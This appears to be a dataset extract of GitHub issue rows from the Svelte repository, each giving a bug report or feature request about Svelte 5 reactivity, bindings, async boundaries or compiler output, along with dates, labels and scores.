```html
<script>
  let count = $state(0);
  let flag = false;
  function handleClick() {
    count += 1;
    console.log(""flag is"", flag);
    flag = true;
  }
	
  let nil = (...args) => {};
  $effect(() => {
    nil(count);
    console.log(""effect"");
    if (flag) console.log(count);
  });
</script>

<button onclick={handleClick}>
  Count is {count}
</button>
```

[playground](https://svelte.dev/playground/be077d8676864c2d9402785a4239094e)

it looks like the first evaluation basically tells svelte that flag is false and that it should ignore the rest of the code. Alternatively, converting flag to $state works. But I think it is not clear from the docs that $effect won't catch the dependency on `count` if it is in a branch.

### Reproduction

see above

### Logs

```shell

```

### System Info

```shell
playground
```

### Severity

annoyance",,2025-08-08 00:52:39+00:00,2025-08-08 01:08:31+00:00,2,nan,0.011,how does effect detect which variables to watch describe the bug clicking a few times on the button outputs adding an empty nil in the effect works it actually calls the effect playground it looks like the first evaluation basically tells svelte that flag is false and that it should ignore the rest of the code alternatively converting flag to state works but i think it is not clear from the docs that effect won t catch the dependency on if it is in a branch reproduction see above logs system info severity annoyance,others,-0.2677
sveltejs/svelte,3301912147,ram_expand_size,"### Describe the problem

bbehe

### Describe the proposed solution

bxbxbx

### Importance

nice to have",,2025-08-07 21:24:37+00:00,2025-08-07 21:52:25+00:00,0,nan,0.0193,ram expand size describe the problem bbehe describe the proposed solution bxbxbx importance nice to have,others,0.7351
sveltejs/svelte,3301582873,Modifying bound state in oninput handler no longer works in Firefox,"### Describe the bug

I recently tried updating our app to the latest version of Svelte, and noticed that our formatted inputs no longer work for Firefox users.

The inputs work as expected through Svelte 5.35.7, but starting in Svelte 5.36.0 what is displayed in the input no longer matches the bound Svelte state.

Are we doing something wrong here? If there isn't a simple workaround this blocks us from upgrading Svelte.

### Reproduction

https://svelte.dev/playground/bf28bf223e4746a199f15ca80385487d?version=5.38.0

Last version that worked: https://svelte.dev/playground/bf28bf223e4746a199f15ca80385487d?version=5.35.7

### Logs

```shell

```

### System Info

```shell
Windows 11, Firefox 141
```

### Severity

blocking an upgrade","bug,browser specific",2025-08-07 19:05:55+00:00,2025-10-13 18:25:36+00:00,6,"bug,browser specific",66.972,modifying bound state in oninput handler no longer works in firefox describe the bug i recently tried updating our app to the latest version of svelte and noticed that our formatted inputs no longer work for firefox users the inputs work as expected through svelte but starting in svelte what is displayed in the input no longer matches the bound svelte state are we doing something wrong here if there isn t a simple workaround this blocks us from upgrading svelte reproduction last version that worked logs system info severity blocking an upgrade,bug,-0.9454
sveltejs/svelte,3300374388,Cannot сreate сontrolled сheckbox with bind:checked using function accessors,"### Describe the bug

When using the function-accessor syntax for bind:checked, the setter function is ignored for checkboxes, making it impossible to create a truly controlled checkbox. The checkbox updates its visual state regardless of what the setter does.


### Expected behavior

The text input (<input bind:value=... />) is not editable, which is correct, because the setter is a no-op.

The checkbox should also not update its checked state when clicked, since the setter does nothing. In other words, its visual state should be controlled entirely by the value returned from the getter.

### Actual behavior

The text input is not editable (correct).

The checkbox updates visually when clicked (incorrect), even though the setter is a no-op and state does not actually change. This breaks the controlled component pattern.

### Why this matters
It should be possible to create fully controlled form elements, especially for validation scenarios or when changes must be accepted/rejected based on additional logic. The current behavior makes it impossible to prevent the checkbox from toggling unless you use deprecated APIs.


### Workaround
The only current workaround is to manually prevent the checkbox from updating using an event handler:

```svelte
<input
  type=""checkbox""
  bind:checked={() => bool, () => {}}
  onclick={e => e.preventDefault()}
/>
```
This way, the checkbox never updates its checked state due to user interaction and only reflects the value returned from the gett... [TRUNCATED]",,2025-08-07 12:47:05+00:00,2025-08-07 13:13:55+00:00,1,nan,0.0186,cannot reate ontrolled heckbox with bind checked using function accessors describe the bug when using the function accessor syntax for bind checked the setter function is ignored for checkboxes making it impossible to create a truly controlled checkbox the checkbox updates its visual state regardless of what the setter does the text input is not editable which is correct because the setter is a no op the checkbox should also not update its checked state when clicked since the setter does nothing in other words its visual state should be controlled entirely by the value returned from the getter the text input is not editable correct the checkbox updates visually when clicked incorrect even though the setter is a no op and state does not actually change this breaks the controlled component pattern why this matters it should be possible to create fully controlled form elements especially for validation scenarios or when changes must be accepted rejected based on additional logic the current behavior makes it impossible to prevent the checkbox from toggling unless you use deprecated apis workaround the only current workaround is to manually prevent the checkbox from updating using an event handler this way the checkbox never updates its checked state due to user interaction and only reflects the value returned from the gett truncated,others,0.2149
sveltejs/svelte,3300272798,"The compiler inserts a `$$css` variable, which cause error:  `The $ prefix is reserved and cannot be used for variables or imports.`","### Describe the bug

Hello guyz!

First of all, the error occurred after upgrading to Svelte v5, it was not a problem with v4.

For some context:
I have a plain JS library, which exports a class. On instance initialization mounts a component into a shadowRoot. (so its style is mostly encapsulated, which was the goal from our side).

I'd separate the problem into two part.

1 - The library complies ts and svelte files into js files and generates d.ts files  (to be usable , anywhere). For compiling, it uses rollup, rollup-plugin-svelte, svelte-preprocess, tailwindcss and some other rollup plugins that are irrelevant here.

```ts
// Part of my rollup config.
svelte({
    preprocess: sveltePreprocess({
        postcss: true,
        typescript: true,
        sourceMap: !!process.env.NODE_ENV || process.env.NODE_ENV === 'development'
    }),
    compilerOptions: {
        css: 'injected', // This is always 'injected' when compiling with customElement mode.
        customElement: true
    },
    emitCss: false
}),
```

2 - I got the mentioned error when I wan to use the built library in a `SvelteKit` app,  because the built `myComponent.svelte.js` file has:
```
// myComponent.svelte.js
const $$css = {
    hash: 'svelte-1kk8v2h',
    code: '/*! tailwindcss v4.1.11 | MIT License | https://tailwindcss.com */\n@layer properties;\n@layer theme, base, components, utilities;\n@layer theme {\n  :root, :host {\n    --font-sans: ui-sans-serif, system-ui, sans-serif, ""Apple Color Emoji"",\n..... [TRUNCATED]",,2025-08-07 12:16:56+00:00,2025-08-08 19:05:25+00:00,2,nan,1.2837,the compiler inserts a variable which cause error describe the bug hello guyz first of all the error occurred after upgrading to svelte v it was not a problem with v for some context i have a plain js library which exports a class on instance initialization mounts a component into a shadowroot so its style is mostly encapsulated which was the goal from our side i d separate the problem into two part the library complies ts and svelte files into js files and generates d ts files to be usable anywhere for compiling it uses rollup rollup plugin svelte svelte preprocess tailwindcss and some other rollup plugins that are irrelevant here i got the mentioned error when i wan to use the built library in a app because the built file has mycomponent svelte js const css hash svelte kk v h code tailwindcss v mit license n layer properties n layer theme base components utilities n layer theme n root host n font sans ui sans serif system ui sans serif apple color emoji n truncated,bug,-0.717
sveltejs/svelte,3298130978,On result event for form remote function,"### Describe the problem

A function that runs when we receive a response/result from a remote function. It’s useful to perform some validation after receiving the result.

**Example:** If there’s an error, show a toast or some kind of message.

This helps prevent infinite loops for new Svelte developers who might try to use `$effect` to handle the result.

<img width=""1468"" height=""868"" alt=""Image"" src=""https://github.com/user-attachments/assets/52e18195-5e71-4cab-af8a-c8f74cf22c86"" />

### Describe the proposed solution

formFunction.onResult = (result) => {
    console.log(result);
    // Do something here
};

### Importance

nice to have",,2025-08-06 21:25:20+00:00,2025-08-06 23:26:09+00:00,1,nan,0.0839,on result event for form remote function describe the problem a function that runs when we receive a response result from a remote function it s useful to perform some validation after receiving the result example if there s an error show a toast or some kind of message this helps prevent infinite loops for new svelte developers who might try to use to handle the result describe the proposed solution formfunction onresult result console log result do something here importance nice to have,others,0.7845
sveltejs/svelte,3298077229,$effect.pending() stuck at 1 even though the promise has resolved,"### Describe the bug

When using await inside the script tag, $effect.pending() seems to be ""stuck"" at a non-zero value even though the promise has resolved. Clicking any of the buttons in the example will ""clear"" the $effect.pending() and cause everything to work as expected from then on.

This bug makes showing loading states buggy, since they will never go away on their own.

The repro contains an additional case where an if-block depending on the value of $effect.pending() is permanently stuck. I'm not sure if this is a bug though, because putting an await in a place like that feels a little circular-y and I'm not surprised something broke...

```
<script lang=""ts""> 
  let length = $state(10)
  
  async function generateArray(length: number) {
    const result = new Promise(resolve => setTimeout(() => resolve([...Array(length).keys()]), 500))
    return result;
  }
	
  let testValues = $derived(await generateArray(length))
	$inspect('$effect.pending()', $effect.pending());
</script>

<div>
	<p>Value of length: {length}</p>

	<div>
		<button onclick={() => {console.log('clicked'); length--;}}>-</button>
		<button onclick={() => {console.log('clicked'); length++;}}>+</button>
	</div>
	<p>
		Clicking any of buttons will cause $effect.pending() to become 0 after the promise resolves.
	</p>
	<p>
		Value of $effect.pending(): {$effect.pending()}
	</p>
	
	{#if $effect.pending()}
		<p><strong>Imagine this is a loading indicator that should only be visible while updating data, but... [TRUNCATED]",,2025-08-06 21:07:26+00:00,2025-08-27 07:58:12+00:00,3,nan,20.4519,effect pending stuck at even though the promise has resolved describe the bug when using await inside the script tag effect pending seems to be stuck at a non zero value even though the promise has resolved clicking any of the buttons in the example will clear the effect pending and cause everything to work as expected from then on this bug makes showing loading states buggy since they will never go away on their own the repro contains an additional case where an if block depending on the value of effect pending is permanently stuck i m not sure if this is a bug though because putting an await in a place like that feels a little circular y and i m not surprised something broke let length state async function generatearray length number const result new promise resolve settimeout resolve array length keys return result let testvalues derived await generatearray length inspect effect pending effect pending value of length length console log clicked length console log clicked length clicking any of buttons will cause effect pending to become after the promise resolves value of effect pending effect pending if effect pending imagine this is a loading indicator that should only be visible while updating data but truncated,others,0.7685
sveltejs/svelte,3297875616,"Async, tick, boundary and failed","### Describe the bug

I'm playing with the new `async` feature. The page reloads the data by calling `invalidateAll()` every 1 second. I noticed the tick stops after the first error.

I tried moving `error` and `reset` outside the boundary without luck.

I'm not sure if this is a real issue or a misunderstanding on my end. Please be gentle.

### Reproduction

First attempt - The page will stop reloading on the first error
```svelte
<script lang=""ts"">
function getPromise() {
  return new Promise((resolve, reject) => {
    if (Math.random() < 0.5) {
      resolve(Math.random());
    } else {
      reject(new Error(""Error occurred""));
    }
  });
}

let data = $state(getPromise());

let tick = $state(Date.now());
$effect(() => {
	const x = setInterval(() => {
		tick = Date.now();
	}, 1000);
	return () => clearInterval(x);
})

$effect(() => {
	if (tick) {
		data = getPromise();
  }
});

</script>

<main>
  <svelte:boundary>
    <p>{JSON.stringify((await data), null, 2)}</p>

    {#snippet pending()}
      <p>loading...</p>
    {/snippet}

    {#snippet failed(error, reset)}
      <p>error...</p>
    {/snippet}
  </svelte:boundary>
</main>
```

Second attempt - Move `error` and `reset` outside of boundary
```svelte
<script lang=""ts"">
  function getPromise() {
    return new Promise((resolve, reject) => {
      if (Math.random() < 0.5) {
        resolve(Math.random());
      } else {
        reject(new Error(""Error occurred""));
      }
    });
  }

  let data = $state(getPromise())... [TRUNCATED]",,2025-08-06 19:53:27+00:00,2025-10-21 10:05:59+00:00,2,nan,75.592,async tick boundary and failed describe the bug i m playing with the new feature the page reloads the data by calling every second i noticed the tick stops after the first error i tried moving and outside the boundary without luck i m not sure if this is a real issue or a misunderstanding on my end please be gentle reproduction first attempt the page will stop reloading on the first error second attempt move and outside of boundary svelte function getpromise return new promise resolve reject if math random resolve math random else reject new error error occurred let data state getpromise truncated,others,-0.9499
sveltejs/svelte,3297168045,Svelte removes everything from a parent when each blocks array becomes empty.,"### Describe the bug

I was working on a JS library and ran into an issue where the elements added by this library to the DOM were vanishing for no reason. After testing around, I figured out, when an element is injected into the DOM using pure JS, which is usually done by Vanilla libraries, Svelte will also remove those elements when the array of an each block becomes empty.

### Reproduction

```svelte
<script lang=""ts"">
  import { onMount} from ""svelte"";

  let colors = $state([""yellow"", ""red"", ""blue""]);

  let divRef: HTMLDivElement;
  onMount(() => {
    if (!divRef) return;
    const newDiv = document.createElement(""div"");
    newDiv.innerText = ""someColor"";
    divRef.appendChild(newDiv);
  });
</script>

<button onclick={() => colors.pop()}>remove color</button>
<div bind:this={divRef}>
  {#each colors as color}
    <div>
      {color}
    </div>
  {/each}
</div>
```
For example, in the above code, I have simulated adding a div with the text of someColor to the div that contains an each block. When you click the button to pop the colors, when the colors array becomes empty, the div containing the ""someColor"" text will also vanish.
[REPO](https://svelte.dev/playground/hello-world?version=5.37.3#H4sIAAAAAAAACm1RwWrcMBD9lck0BxuM9-61DSUJ9NBcSm5RDlp73BWRR0YaexOE_70o2oUWetLw3rw380YRWc-EDWKFk7EUsHmNKJ9LwhKA1a3j-7LUYSMrCTvpQP_DB8dCLAEbbMPgzSJgNf_uFEpQ2CsGMPPivEAEx89uZdlh8m4GhdlE4VFx6rMkMDjrfIAO7oNooeJV4SdZ6y4KK1DoaczFya6k8K38Szqa7RdNDfx4ef75aLYnSzOxHBN9HVwUJXQ9xAQBmAmKuywqwZO... [TRUNCATED]",,2025-08-06 15:31:28+00:00,2025-08-06 16:35:24+00:00,6,nan,0.0444,svelte removes everything from a parent when each blocks array becomes empty describe the bug i was working on a js library and ran into an issue where the elements added by this library to the dom were vanishing for no reason after testing around i figured out when an element is injected into the dom using pure js which is usually done by vanilla libraries svelte will also remove those elements when the array of an each block becomes empty reproduction for example in the above code i have simulated adding a div with the text of somecolor to the div that contains an each block when you click the button to pop the colors when the colors array becomes empty the div containing the somecolor text will also vanish repo truncated,others,-0.936
sveltejs/svelte,3295202095,False positive state_unsafe_mutation,"### Describe the bug

The repro itself speaks more than a thousand words here. Either I am missing something, or callback shouldn't be run in reactive context in this case.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.37.3#H4sIAAAAAAAAE61STY_TMBD9K4NBaiJF6b20lVYIiQOc4EY5uMlksda1I3vSsrL83xnH3u1md-GAOCSW37w3H28chJEnFBvxCbW2cLFO91Bhrwj7WjRiUBq92HwPgu7HxEsA40V1M46tP6OmhB2lx9fwzhpCQ5xGbH3n1Ej7gzmQOo3WEXywfBqOw-DsCVbt-hEpKVbMZn6npffwDT1BSPcDnaWeEHbwzpMkrAapPdYpFIvCGiZTUuzA4GUWVzNDI4H_aS8v1dv1tUezPU5E1oA1nVbd3S5UNez2UBXpm3TWcZ_bY0KSZwlj4a0a5iKpHdpeBw2ppQjrxFmrgcPsEuEvEhtyE8bmD24_N2bp-SvRvzsfeKwvdjLUwC3SzZGxr-rWSN0Ag052dxDLUsoi3j_1NWRnY7JwdHb02dn0lbxVdqtsK6v8XIE1y5JFS_mfErcP202WZDhrW9n3H8881mfleTp01UqmRKsGFvWepZn3myMxP5L66TSPb6lHp87Yt8f7f2j__3Z4IIc0OQNX2kPji1ca5lBcPqIffJNKX5TpxWZOHX8DJEukHe0DAAA=)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

annoyance",,2025-08-06 05:08:37+00:00,2025-08-06 21:24:29+00:00,5,nan,0.6777,false positive state unsafe mutation describe the bug the repro itself speaks more than a thousand words here either i am missing something or callback shouldn t be run in reactive context in this case reproduction repl logs system info severity annoyance,others,-0.4404
sveltejs/svelte,3295180587,Order of execution between script and teardown,"### Describe the bug

Whenever component inside `{#key}` gets remounted code inside `<script>` tag executes earlier than the teardown code inside `onDestroy`.

```svelte
<script>
	import { onMount, onDestroy, getAbortSignal } from 'svelte'

	console.log('script')

	onMount(() => {
		console.log('mount')
		const signal = getAbortSignal()
		signal.addEventListener('abort', () => console.log('abort'))
	})

	onDestroy(() => {
		console.log('destroy')
	})
</script>
```
```
script
mount
script
abort
destroy
mount
```

To me personally thats a bit counter-intuitive. If we change something inside `<script module>` for example then we can't rely on cleanup happening before new render.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.37.3#H4sIAAAAAAAAE31SQW7CMBD8yspUSiIiwhkBEmor9dCeeiw9hGRDrRg7ihcosvL3ruMIBKIcIts7s7OecZzQ-Q7FTLyhUgaOplUlxFhKwjIRqaikQitmX07QqfE8X-D60LVqmok9oCJf2-QW79ULowk1sYyY26KVDS3Xek1y15iW4NnwqhmHqjU7iCbZuTJIRJ7tP4UENSzgyVJOGE-TtZ5nF0U93-yJjAajCyWLeuHiBBZLqMfjrp_YV4GOskDfGdh9pxvJiqWXMO080Y1qPEHd79c0v1wx63VcxjCDLpMVL2yR8JfEjNo9duk_Ud26ug7sDvo4NscuP8xeU8qbF7TUmlMKW6TVhuFPudW5gm7I9JKjT8FoaxROlNnGURCOkgANknHIzQX7V_ydx3v6gBDYMGtxMzweSAGe5GX5emA779KyK2zjKPfcKIUw7GpKgJJeoTvfbXD54HZlYETnxqvfo_hBfn4m2ts3--ZTLtVR6lLMqlxZ7P4ABv6fURkDAAA=)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

annoyance",,2025-08-06 04:54:39+00:00,2025-10-23 09:44:22+00:00,4,nan,78.2012,order of execution between script and teardown describe the bug whenever component inside gets remounted code inside tag executes earlier than the teardown code inside to me personally thats a bit counter intuitive if we change something inside for example then we can t rely on cleanup happening before new render reproduction repl logs system info severity annoyance,others,-0.6486
sveltejs/svelte,3289823418,Application using LayerChart hanging after updating Svelte to 5.36.0+ (logging `UpdatedAtError` in 5.36.5+),"### Describe the bug

While investigating async compat [issues](https://github.com/techniq/layerchart/issues/626) with LayerChart, I [noticed](https://github.com/techniq/layerchart/issues/630#issuecomment-3151063055) after bumping Svelte from `5.34.1` to [5.35.4](https://github.com/sveltejs/svelte/releases/tag/svelte%405.35.4) (and beyond) begins to throw `effect_update_depth_exceeded` errors we had not prior.

I believe this stems from how we [setup](https://github.com/techniq/layerchart/blob/next/packages/layerchart/src/lib/utils/motion.svelte.ts#L157-L184) motion state / value tracking.  Let me know if this should be handled differently, or is in fact a regression.  The only changeset for `5.35.4` is:

> fix: abort and reschedule effect processing after state change in user effect 

As always, thanks for all the hard work!

### Reproduction

- Checkout LayerChart [PR 629](https://github.com/techniq/layerchart/pull/629) / `update-deps` branch
- `pnpm install`
- `pnpm dev`
- Open the [Area](http://localhost:3002/docs/examples/Area) example (or many others with motion such as [Bars](http://localhost:3002/docs/examples/Columns) and [Pack](http://localhost:3002/docs/examples/Pack)).  For even more taxing examples, view [Force Disjoint Graph](http://localhost:3002/docs/examples/ForceDisjointGraph), [Force Tree](http://localhost:3002/docs/examples/ForceTree), or [Force Lattice](http://localhost:3002/docs/examples/ForceLattice)) 

### Logs

```shell
client:733 [vite] connecting...... [TRUNCATED]",,2025-08-04 15:03:30+00:00,2025-08-17 12:31:21+00:00,26,nan,12.8943,application using layerchart hanging after updating svelte to logging in describe the bug while investigating async compat issues with layerchart i noticed after bumping svelte from to and beyond begins to throw errors we had not prior i believe this stems from how we setup motion state value tracking let me know if this should be handled differently or is in fact a regression the only changeset for is fix abort and reschedule effect processing after state change in user effect as always thanks for all the hard work reproduction checkout layerchart pr branch open the area example or many others with motion such as bars and pack for even more taxing examples view force disjoint graph force tree or force lattice logs shell client vite connecting truncated,bug,-0.0258
sveltejs/svelte,3289447343,Please add/document `bind:this` setter support,"### Describe the problem

I am doing something like this:

```svelte
{#each Object.entries(tabs) as [tabId, tab] (tabId)}
    <TabView selected={tabId === selected} bind:this={tabViews[tabId]}>
        Content
    </TabView>
{/each}
```

Binding directly to an object `const tabViews = {}` via `bind:this={tabViews[tabId]}` does not work when adding more tabs dynamically, then references to existing (""cached"" by `#each` because of given key `(tabId)`) tabs are lost. See this result after adding more tabs: `{player: null, group: Proxy(Object), call: Proxy(Object), chat: Proxy(Object)}`. ❗

I then tried binding to a map using getters and setters as described in https://svelte.dev/docs/svelte/bind#Function-bindings like so `bind:this={null, (v) => tabViews.set(tabId, v)}`. This failed with a runtime error: `Binding as described in https://svelte.dev/docs/svelte/bind#Function-bindings` ❗

Therefore I changed the code to this `bind:this={() => null, (v) => tabViews.set(tabId, v)}` which finally worked ✅

### Describe the proposed solution

# Request

Please add support for the mentioned https://svelte.dev/docs/svelte/bind#Function-bindings for `bind:this`.

Or if that is not sensible, then maybe add this behaviour to the docs?

### Importance

nice to have",,2025-08-04 13:25:46+00:00,2025-10-09 20:26:54+00:00,5,nan,66.2925,please add document setter support describe the problem i am doing something like this binding directly to an object via does not work when adding more tabs dynamically then references to existing cached by because of given key tabs are lost see this result after adding more tabs i then tried binding to a map using getters and setters as described in like so this failed with a runtime error therefore i changed the code to this which finally worked describe the proposed solution request please add support for the mentioned for or if that is not sensible then maybe add this behaviour to the docs importance nice to have,documentation,0.8957
sveltejs/svelte,3281833923,Firefox does not clear $state variables upon refresh,"### Describe the bug

Hi all,

I have a svelte/svelte kit application in which users can fill in a form by inputting data in various fields. The fields can be text area, radio button or check boxes. I recently migrated from Svelte 4 to 5 and I am experiencing a strange bug that seems to only affect Firefox (works fine with Chrome and Edge). The variables declared with $state used for keeping track of the user inputs are not ""cleared"" upon refreshing the page. This leads to discrepancies between the data displayed to the user and the data coming from the database.
 
**Background on the application:**
When the user goes to the form page, the load() function retrieves from the database the data inputted/stored previously (if any) and renders it in the respective fields of the form. The user can then modify the fields, and press a Save button which triggers an API call to store the data in the database.
 
**The issue:**
With Firefox (latest, 141.0), if the user modifies a field (any fields) and refreshes the page without saving, the newly inputted data will persist in the field even after the refresh. This is not the data stored in the DB. This is not intended behavior. 
Note: This behavior is only observed when refreshing the page twice or more. When navigating away from the page and coming back, the data is loaded anew and displayed accurately.
 
**Expected behavior:**
Refreshing the page without saving should be a way for the user to discard all unsaved changes in fields at on... [TRUNCATED]",,2025-07-31 21:54:30+00:00,2025-08-04 20:25:00+00:00,7,nan,3.9378,firefox does not clear state variables upon refresh describe the bug hi all i have a svelte svelte kit application in which users can fill in a form by inputting data in various fields the fields can be text area radio button or check boxes i recently migrated from svelte to and i am experiencing a strange bug that seems to only affect firefox works fine with chrome and edge the variables declared with state used for keeping track of the user inputs are not cleared upon refreshing the page this leads to discrepancies between the data displayed to the user and the data coming from the database background on the application when the user goes to the form page the load function retrieves from the database the data inputted stored previously if any and renders it in the respective fields of the form the user can then modify the fields and press a save button which triggers an api call to store the data in the database the issue with firefox latest if the user modifies a field any fields and refreshes the page without saving the newly inputted data will persist in the field even after the refresh this is not the data stored in the db this is not intended behavior note this behavior is only observed when refreshing the page twice or more when navigating away from the page and coming back the data is loaded anew and displayed accurately refreshing the page without saving should be a way for the user to discard all unsaved changes in fields at on truncated,others,-0.5393
sveltejs/svelte,3281824453,Using spread props with range input breaks reactivity,"### Describe the bug

Using spread props breaks the reactivity of the `step` attribute. This may be a part of a larger issue, although I could not find a duplicate issue that matches. You can fix it by wrapping the input in `{#key step}`.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.37.1#H4sIAAAAAAAACn2PwWrDMBBEf2VZerBBOE6Pwjbk1g_oLepBjTdFoKyFd500CP17EW16Kr0-3swwGdlfCC2-UIwL3JY1ztDQHJTmFg2eQyRBe8yo91S9CtA8UoeUOrlS1MrevdBf_LSwEqugxUFOa0g6OY6kIEoJRngS9UqNQ893h61jIX0NF1o2bZoWxukh7nsD-77v_1F-Sgw8f3vD7nfR8RA4bQr1yehw9fxBDiHXaIHcdV0uBXYTGlT6VLS6blTeDKoP8RZ4Rnv2Uah8Acv4cSY1AQAA

### Logs

```shell

```

### System Info

```shell
Binaries:
  Node: 22.13.0 - C:\Program Files\nodejs\node.EXE
  pnpm: 10.13.1 - ~\AppData\Local\pnpm\pnpm.CMD
Browsers:
  Chrome: 138.0.7204.158
npmPackages:
  svelte: ^5.36.13 => 5.36.16
```

### Severity

annoyance",,2025-07-31 21:49:14+00:00,2025-08-02 19:29:11+00:00,4,nan,1.9027,using spread props with range input breaks reactivity describe the bug using spread props breaks the reactivity of the attribute this may be a part of a larger issue although i could not find a duplicate issue that matches you can fix it by wrapping the input in reproduction logs system info severity annoyance,others,-0.4215
sveltejs/svelte,3277573502,duplicate_class_field false positive with static class members,"### Describe the bug

``` ts
class Hello {
  hello() {}
  static hello() {} // throws ""`hello` has already been declared""
}
```

### Reproduction

https://svelte.dev/playground/d875318270e444efb8a4e7b095375885?version=5.37.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M1
    Memory: 130.66 MB / 8.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.17.0 - ~/.nvm/versions/node/v20.17.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v20.17.0/bin/yarn
    npm: 10.8.2 - ~/.nvm/versions/node/v20.17.0/bin/npm
    bun: 1.0.15 - ~/.bun/bin/bun
    Watchman: 2023.12.04.00 - /opt/homebrew/bin/watchman
  Browsers:
    Chrome: 138.0.7204.170
    Safari: 18.5
```

### Severity

annoyance",bug,2025-07-30 15:39:11+00:00,2025-07-31 09:11:53+00:00,0,bug,0.731,duplicate class field false positive with static class members describe the bug reproduction logs system info severity annoyance,bug,-0.1779
sveltejs/svelte,3276449256,Updating derived doesn't trigger reactivity.,"### Describe the bug

I know we recently got the ability to change $derived variables, which allowed for things such as optimistic updates. I love the idea but what's the point if it isn't going to trigger reactivity?

### Reproduction

```svelte
<script lang=""ts"">
  let name = $state(""Sherlock"");
  let object = $derived({
    name,
  });
</script>

<button onclick={() => (object.name = ""Holmes"")}>change name</button>
<div>{object.name}</div>
```
[Repo](https://svelte.dev/playground/untitled?version=5.37.1#H4sIAAAAAAAACm2NwU7DMBBEf8UacUikqLkHxxI37ogT5uA429bUXUfxNoCi_DtySyUO3FZv3syuYHcmdHhlCRJpRIN9iJTRva2Q76lkBaC5m0_TtMsLRSlscJn-4z6xEEtGB539HCZR0fGht5BsYSwrFUlUqapePWRxQpXFy5HmmPzJon68O2n4IC_FGmkOC43VWiJ1LTfl3Iqs29sfY9myHi4iiVViH4M_9WtVq96o6ra1-31r8ZzimbJFvRl_dHyg66hub3VjWY9hMeuf2qbbgtBA6EvQyXyh7b2BuBA_A4_o9i5m2n4A5jL6dlkBAAA=)

Svelte version => [svelte@5.37.1](https://github.com/sveltejs/svelte/releases/tag/svelte%405.37.1)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 12th Gen Intel(R) Core(TM) i7-12650H
    Memory: 8.02 GB / 15.63 GB
  Binaries:
    Node: 23.11.0 - C:\nvm4w\nodejs\node.EXE
    npm: 11.4.1 - C:\nvm4w\nodejs\npm.CMD
    pnpm: 10.13.1 - C:\nvm4w\nodejs\pnpm.CMD
  Browsers:
    Edge: Chromium (136.0.3240.64)
    Internet Explorer: 11.0.26100.1882
```

### Severity

annoyance",,2025-07-30 10:10:37+00:00,2025-07-30 10:35:22+00:00,1,nan,0.0172,updating derived doesn t trigger reactivity describe the bug i know we recently got the ability to change derived variables which allowed for things such as optimistic updates i love the idea but what s the point if it isn t going to trigger reactivity reproduction repo svelte version svelte logs system info severity annoyance,others,-0.0129
sveltejs/svelte,3275077671,Events firing multiple times when toggling large DOM change,"### Describe the bug

In my application, I am toggling parts of DOM based on user action, typically click. This may be category toggle that shows a list of items and the DOM is behind {#if ...}...{/if}, or popup, which I mount dynamically with mount().

I have noticed that sometimes events fire multiple times. Or at least that's what I think is happening. Typically that means that you click the button that should mount popup, and the popup is mounted 2 or 3 times. Or category doesn't toggle properly and it needs few clicks.

### Reproduction

This seems to be happening only in Firefox, from what I have seen. I'm therefore not sure if this is a browser bug, or svelte bug.

In the REPL below there are three buttons, toggling a component with simple list. Small list has 100 items and toggling it seems to always work properly. Large list has 10000 items and toggling it doesn't (usualy) work. If you can't replicate it, you may try to increase number of items.

The workaround that seems to work is to trigger the change in animation frame.

https://svelte.dev/playground/d9ee33fb8a6547eb90be1283cbb23894?version=5.37.1

The inevitable conclusion to this is that I have to wrap all event handlers in requestAnimationFrame, if I want to be sure that it works properly. It's not easily deduced which DOM change will produce the bug, and which will not.

### System Info

```shell
Windows 10
Firefox 141.0 (64-bit)
```

### Severity

annoyance",,2025-07-29 21:50:22+00:00,2025-07-31 23:15:23+00:00,13,nan,2.059,events firing multiple times when toggling large dom change describe the bug in my application i am toggling parts of dom based on user action typically click this may be category toggle that shows a list of items and the dom is behind if if or popup which i mount dynamically with mount i have noticed that sometimes events fire multiple times or at least that s what i think is happening typically that means that you click the button that should mount popup and the popup is mounted or times or category doesn t toggle properly and it needs few clicks reproduction this seems to be happening only in firefox from what i have seen i m therefore not sure if this is a browser bug or svelte bug in the repl below there are three buttons toggling a component with simple list small list has items and toggling it seems to always work properly large list has items and toggling it doesn t usualy work if you can t replicate it you may try to increase number of items the workaround that seems to work is to trigger the change in animation frame the inevitable conclusion to this is that i have to wrap all event handlers in requestanimationframe if i want to be sure that it works properly it s not easily deduced which dom change will produce the bug and which will not system info severity annoyance,others,-0.949
sveltejs/svelte,3274089395,svelte:boundary does not catch errors inside async component scripts,"### Describe the bug

i'm using the experimental async feature, svelte:boundary does catch errors when using {await ...} in the markup, but it doesn't if the await is inside the component's script tag.

### Reproduction

https://svelte.dev/playground/4bea921679af4be984e73bf9f38c804c?version=latest

### Logs

```shell
Uncaught (in promise) failed to fetch data (in component script)
```

### System Info

```shell
System:
    OS: Linux 6.15 Fedora Linux 42 (Toolbx Container Image)
    CPU: (16) x64 AMD Ryzen 7 7730U with Radeon Graphics
    Memory: 3.77 GB / 14.96 GB
    Container: Yes
    Shell: 5.2.37 - /usr/bin/bash
  Binaries:
    Node: 22.17.0 - /usr/bin/node
    pnpm: 10.9.0 - /usr/bin/pnpm
    bun: 1.2.19 - /usr/local/bin/bun
  npmPackages:
    svelte: ^5.37.1 => 5.37.1
```

### Severity

annoyance",,2025-07-29 15:33:50+00:00,2025-10-20 20:17:29+00:00,3,nan,83.197,svelte boundary does not catch errors inside async component scripts describe the bug i m using the experimental async feature svelte boundary does catch errors when using await in the markup but it doesn t if the await is inside the component s script tag reproduction logs system info severity annoyance,bug,-0.2764
sveltejs/svelte,3273984324,Importing the file named `server_manager.svelte.ts` put under `$lib` triggered error about information leak,"### Describe the bug

Importing the file named `server_manager.svelte.ts` that is put under `$lib` into client pages triggered error

```
[vite] Internal server error: Cannot import $lib/server_manager.svelte.ts into client-side code. This could leak sensitive information.
```

This is super frustrating. Why did `server_manager` made SvelteKit believe it was an server only file?

### Reproduction

Create a new SvelteKit project. Create an file `server_manager.svelte.ts` in `/src/lib`. Import anything in  `$lib/server_manager.svelte.ts` into client codes.

### Logs

```shell

```

